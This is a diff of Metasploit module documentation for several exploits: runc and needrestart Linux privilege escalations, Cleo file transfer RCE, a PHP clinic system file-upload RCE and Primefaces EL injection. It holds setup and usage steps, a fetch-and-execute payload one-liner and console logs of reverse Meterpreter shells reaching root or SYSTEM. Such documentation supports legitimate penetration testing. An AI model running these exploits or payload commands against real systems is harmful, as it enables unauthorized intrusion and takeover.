||||
```
|
||||
@@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write.
|
||||
Due to a file descriptor leak it is possible to mount the host file system
|
||||
with the permissions of runc (typically root).
|
||||
|
||||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
|
||||
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
|
||||
Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
|
||||
Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.
|
||||
|
||||
### Arch Install
|
||||
|
||||
```
|
||||
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst
|
||||
pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst
|
||||
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst
|
||||
pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst
|
||||
systemctl start docker.service && systemctl enable docker.service
|
||||
usermod -aG docker <user>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest`
|
||||
|
||||
## FILEDESCRIPTOR
|
||||
|
||||
The file descriptor to use, typically `7` or `8`. Defaults to `8`
|
||||
The file descriptor to use, typically `7` or `8`. Defaults to `7`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
|
||||
|
||||
@@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
### Debian 12.4
|
||||
|
||||
```
|
||||
msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.20.24:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected
|
||||
[*] Creating directory /tmp/.jwBZNB
|
||||
[*] /tmp/.jwBZNB created
|
||||
[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7
|
||||
[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile
|
||||
[*] Building from Dockerfile to set our payload permissions
|
||||
[*] #0 building with "default" instance using docker driver
|
||||
[*]
|
||||
[*] #1 [internal] load build definition from Dockerfile
|
||||
[*] #1 transferring dockerfile: 217B done
|
||||
[*] #1 DONE 0.0s
|
||||
[*]
|
||||
[*] #2 [internal] load metadata for docker.io/library/alpine:latest
|
||||
[*] #2 DONE 3.5s
|
||||
[*]
|
||||
[*] #3 [internal] load .dockerignore
|
||||
[*] #3 transferring context: 2B done
|
||||
[*] #3 DONE 0.0s
|
||||
[*]
|
||||
[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
|
||||
[*] #4 DONE 0.0s
|
||||
[*]
|
||||
[*] #5 [2/3] WORKDIR /proc/self/fd/7
|
||||
[*] #5 CACHED
|
||||
[*]
|
||||
[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7
|
||||
[*] #6 DONE 0.3s
|
||||
[*]
|
||||
[*] #7 exporting to image
|
||||
[*] #7 exporting layers 0.0s done
|
||||
[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done
|
||||
[*] #7 DONE 0.1s
|
||||
[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
|
||||
[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
|
||||
[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.20.25
|
||||
[+] Deleted /tmp/.jwBZNB/.cleXu7
|
||||
[+] Deleted /tmp/.jwBZNB/Dockerfile
|
||||
[+] Deleted /tmp/.jwBZNB
|
||||
[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.20.25
|
||||
OS : Debian 12.4 (Linux 6.1.0-17-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Arch
|
||||
|
||||
```
|
||||
[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
|
||||
[*] Creating directory /home/user/.mpjj2xVK6
|
||||
[*] /home/user/.mpjj2xVK6 created
|
||||
[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile
|
||||
RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] Building from Dockerfile to set our payload permissions
|
||||
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
|
||||
[*] Install the buildx component to build images with BuildKit:
|
||||
[*] https://docs.docker.com/go/buildx/
|
||||
[*]
|
||||
[*] Sending build context to Docker daemon 3.072kB
|
||||
[*] Step 1/3 : FROM alpine:latest
|
||||
[*] ---> 4048db5d3672
|
||||
[*] Step 2/3 : WORKDIR /proc/self/fd/8
|
||||
[*] ---> Using cache
|
||||
[*] ---> 6421d9ffc175
|
||||
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] ---> Running in 09b17fa56c44
|
||||
[*] Removing intermediate container 09b17fa56c44
|
||||
[*] ---> 38c39324ec16
|
||||
[*] Successfully built 38c39324ec16
|
||||
[*] Removing created docker image 38c39324ec16
|
||||
[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6
|
||||
true
|
||||
-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47
|
||||
[+] Deleted /home/user/.mpjj2xVK6/Dockerfile
|
||||
[+] Deleted /home/user/.mpjj2xVK6
|
||||
[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500
|
||||
|
||||
(Meterpreter 11)(/home/user) > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,144 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Local attackers can execute arbitrary code as root by
|
||||
tricking needrestart into running the Python interpreter with an
|
||||
attacker-controlled PYTHONPATH environment variable.
|
||||
|
||||
Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
|
||||
|
||||
Exploitation against vulnerable needrestart versions on
|
||||
Debian 12 and Fedora 39 were unsuccessful
|
||||
however install and run instructions are listed below.
|
||||
|
||||
### Debian
|
||||
|
||||
Install: `apt-get install needrestart=3.6-4+deb12u1`
|
||||
|
||||
Binary location: `/usr/sbin/needrestart`
|
||||
|
||||
### Fedora 39
|
||||
|
||||
Install: `dnf install needrestart-3.6-9.fc39.noarch`
|
||||
|
||||
Binary location: `/usr/sbin/needrestart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get an initial shell
|
||||
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
|
||||
5. Do: `set lhost <ip>`
|
||||
6. Do: `set lport <port>`
|
||||
7. Do: `set session <session>`
|
||||
8. Do: `run`
|
||||
9. You should get a root shell.
|
||||
|
||||
## Options
|
||||
|
||||
### ListenerTimeout
|
||||
|
||||
The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
|
||||
|
||||
Gain initial shell
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/script/web_delivery
|
||||
998
|
||||
run[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set target 7
|
||||
target => 7
|
||||
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(multi/script/web_delivery) > set lport 4998
|
||||
lport => 4998
|
||||
msf6 exploit(multi/script/web_delivery) > set srvport 8998
|
||||
srvport => 8998
|
||||
msf6 exploit(multi/script/web_delivery) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(multi/script/web_delivery) >
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4998
|
||||
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
|
||||
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500
|
||||
|
||||
msf6 exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Priv Esc
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
|
||||
lport => 4977
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4977
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
|
||||
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
|
||||
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
|
||||
[*] Uploading payload: /tmp/.1K8Hy2tOtq
|
||||
[*] Creating directory /tmp/importlib
|
||||
[*] /tmp/importlib created
|
||||
[*] Uploading c_stub: /tmp/importlib/__init__.so
|
||||
[*] Uploading py_script: /tmp/.FzzlJ
|
||||
[*] Launching exploit, and waiting for needrestart to run...
|
||||
```
|
||||
|
||||
On the remote Ubuntu box run `sudo needrestart`
|
||||
|
||||
```
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
|
||||
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
|
||||
[*]
|
||||
[*] Traceback (most recent call last):
|
||||
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
|
||||
[*] exec(line)
|
||||
[*] File "<string>", line 1, in <module>
|
||||
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
|
||||
[*]
|
||||
[*] Remainder of file ignored
|
||||
[*] #########################
|
||||
[*]
|
||||
[*] Dont mind the error message above
|
||||
[*]
|
||||
[*] Waiting for needrestart to run...
|
||||
[*] Payload owned by: root
|
||||
[+] Deleted /tmp/.1K8Hy2tOtq
|
||||
[+] Deleted /tmp/.FzzlJ
|
||||
[+] Deleted /tmp/importlib
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500
|
||||
|
||||
meterpreter >
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -0,0 +1,177 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
|
||||
versions 5.8.0.23 and below.
|
||||
|
||||
For a full technical analysis, please see our
|
||||
AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis).
|
||||
|
||||
## Testing
|
||||
You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom
|
||||
can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf).
|
||||
During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux
|
||||
you will download the `install.bin` file. Running the installer to complete the installation.
|
||||
|
||||
By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connections to this port
|
||||
from your firewall.
|
||||
|
||||
If testing the default Windows payloads, you should disable Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/cleo_rce_cve_2024_55956`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set LHOST eth0`
|
||||
5. `set LPORT 4444`
|
||||
6. `set target 0`
|
||||
7. `set PAYLOAD java/meterpreter/reverse_tcp`
|
||||
8. `check`
|
||||
9. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Java
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
|
||||
RHOSTS => 192.168.86.50
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
|
||||
LHOST => 192.168.86.42
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0
|
||||
target => 1
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp
|
||||
payload => java/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
|
||||
|
||||
Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 5080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Java
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
|
||||
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
[*] Sending stage (58073 bytes) to 192.168.86.50
|
||||
[+] Deleted temp/iidqizro
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000
|
||||
[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-V28QNSO2H05$
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 10.0 (amd64)
|
||||
Architecture : x64
|
||||
System Language : en_IE
|
||||
Meterpreter : java/windows
|
||||
meterpreter > pwd
|
||||
C:\LexiCom
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Windows Command
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
|
||||
RHOSTS => 192.168.86.50
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
|
||||
LHOST => 192.168.86.42
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
|
||||
|
||||
Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 5080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
EXTENSIONS no Comma-separate list of extensions to load
|
||||
EXTINIT no Initialization strings for extensions
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME APpIYmSCo no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
|
||||
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
[+] Deleted temp/hzbcsche
|
||||
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
C:\LexiCom
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,116 @@
|
||||
## Vulnerable Application
|
||||
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
|
||||
This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
|
||||
The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
|
||||
a directory listing feature in `/pms/user_images`.
|
||||
This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Vulnerable Application Installation Setup
|
||||
1. Install Clinic's Patient Management System 1.0 on your web server.
|
||||
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
|
||||
- For **Windows**
|
||||
- [ ] Open your XAMPP Control Panel and start Apache and MySQL.
|
||||
- [ ] Extract the downloaded source code zip file.
|
||||
- [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory.
|
||||
- [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
|
||||
- [ ] Create a new database naming `pms_db`.
|
||||
- [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder.
|
||||
- [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/
|
||||
|
||||
- For **Linux**
|
||||
- [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql`
|
||||
- [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y`
|
||||
- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
|
||||
- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
|
||||
- [ ] Next steps are similar to the ones for Windows, so follow that
|
||||
|
||||
2. Start `msfconsole` and load the exploit module:
|
||||
```bash
|
||||
msfconsole
|
||||
use exploit/multi/http/clinic_pms_fileupload_rce
|
||||
```
|
||||
|
||||
3. Set the required options:
|
||||
```bash
|
||||
set rport <port>
|
||||
set rhost <ip>
|
||||
set targeturi /pms
|
||||
```
|
||||
|
||||
4. Check if the target is vulnerable:
|
||||
```bash
|
||||
check
|
||||
```
|
||||
|
||||
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
|
||||
```
|
||||
[+] <IP> The target is vulnerable.
|
||||
```
|
||||
|
||||
5. Set up the listener for the exploit:
|
||||
```bash
|
||||
set lport <port>
|
||||
set lhost <ip>
|
||||
```
|
||||
|
||||
6. Launch the exploit:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
7. If successful, you will receive a PHP Meterpreter shell.
|
||||
|
||||
## Options
|
||||
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
|
||||
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Clinic's Patient Management System on a Linux Target
|
||||
```bash
|
||||
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
|
||||
[*] Checking if target is vulnerable...
|
||||
[+] 127.0.0.1:80 - The target is vulnerable.
|
||||
|
||||
msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.104:4444
|
||||
[*] Detected OS: linux
|
||||
[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.
|
||||
[*] Uploading PHP Meterpreter payload as zuX7FDRe.php...
|
||||
[+] Payload uploaded successfully!
|
||||
[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php...
|
||||
[*] Sending stage (40004 bytes) to 192.168.1.104
|
||||
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : kali
|
||||
OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Clinic's Patient Management System on a Windows Target
|
||||
```bash
|
||||
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
|
||||
[*] Checking if target is vulnerable...
|
||||
[+] 192.168.1.103:80 - The target is vulnerable.
|
||||
|
||||
msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.104:4444
|
||||
[*] Detected OS: winnt
|
||||
[*] Target is Windows. Using standard PHP Meterpreter payload.
|
||||
[*] Uploading PHP Meterpreter payload as lgTprVq5.php...
|
||||
[+] Payload uploaded successfully!
|
||||
[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php...
|
||||
[*] Sending stage (40004 bytes) to 192.168.1.103
|
||||
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-VE9J36K
|
||||
OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
|
||||
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
|
||||
due to the use of weak crypto and default encryption password and salt.
|
||||
|
||||
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image:
|
||||
|
||||
* `payload/cmd/unix/reverse_jjs`
|
||||
* `payload/cmd/unix/reverse_openssl`
|
||||
* `payload/cmd/unix/reverse_perl`
|
||||
* `payload/cmd/unix/reverse_python`
|
||||
* `payload/cmd/unix/reverse_python_ssl`
|
||||
|
||||
### Docker Image
|
||||
|
||||
1. `git clone https://github.com/pimps/CVE-2017-1000486`
|
||||
2. `cd CVE-2017-1000486/`
|
||||
3. `docker build . -t primefaces`
|
||||
4. `docker run -p 8090:8080 -t primefaces`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce`
|
||||
1. Do: `set rhosts <ip>`
|
||||
1. Do: `set verbose true`
|
||||
1. Do: `set payload payload/cmd/unix/reverse_jjs`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password to login. Defaults to `primefaces`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application
|
||||
|
||||
CMD payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
|
||||
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
|
||||
rport => 8090
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs
|
||||
payload => cmd/unix/reverse_jjs
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Victim evaluates Expression Language expressions
|
||||
